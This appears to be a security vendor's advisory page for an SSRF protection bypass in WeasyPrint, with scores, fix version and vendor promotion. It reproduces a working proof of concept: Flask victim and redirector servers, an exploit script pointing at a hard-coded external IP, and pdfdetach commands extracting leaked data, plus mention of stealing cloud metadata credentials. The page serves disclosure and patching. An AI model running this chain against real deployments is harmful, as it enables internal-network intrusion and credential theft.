GHSA-983w-rhvv-gwmv is a high-severity (CVSS 7.5) Open Redirect vulnerability in weasyprint. A fix is available for weasyprint — see the affected versions and patch details below.
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-983w-rhvv-gwmv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-983w-rhvv-gwmv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
weasyprintReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.
Details
The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.
While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.
This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).
PoC
To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).
1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.
from flask import Flask
app = Flask(__name__)
@app.route('/secret')
def secret():
return "CRITICAL_INTERNAL_DATA"
if __name__ == '__main__':
# Listens on localhost:5000
app.run(port=5000)
2. attacker.py (External Redirector - Port 1337)
Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious():
# The vulnerability: Redirects to the BLOCKED hostname
return redirect("http://localhost:5000/secret", code=302)
if __name__ == '__main__':
app.run(port=1337)
3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".
from weasyprint import HTML, default_url_fetcher
import logging
# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
# Simulates a blacklist for 'localhost'
if "localhost" in url:
raise PermissionError(f"Security Block: Access to {url} denied.")
print(f"[ALLOWED] Initial URL check passed for: {url}")
return default_url_fetcher(url)
# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP).
# The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.
try:
# Use 127.0.0.1 to bypass the string check for 'localhost'
html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
doc = HTML(string=html_content, url_fetcher=secure_fetcher)
doc.write_pdf("exploit.pdf")
print("Exploit successful. The 'localhost' block was bypassed via redirect.")
print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
print(f"Exploit failed: {e}")
4. Attacker read attachment in PDF
➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA
Evidence <img width="1514" height="436" alt="image" src="https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9" />
Impact
This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.
- Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
- Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g.,
http://169.254.169.254) to steal instance credentials and escalate privileges. - Security Control Bypass: It renders the
url_fetchersecurity validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | weasyprint | all versions | 68.0pip install --upgrade 'weasyprint==68.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for weasyprint, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update weasyprint to 68.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-983w-rhvv-gwmv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-983w-rhvv-gwmv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-983w-rhvv-gwmv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-983w-rhvv-gwmv in your dependencies?
O3 Security finds GHSA-983w-rhvv-gwmv across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.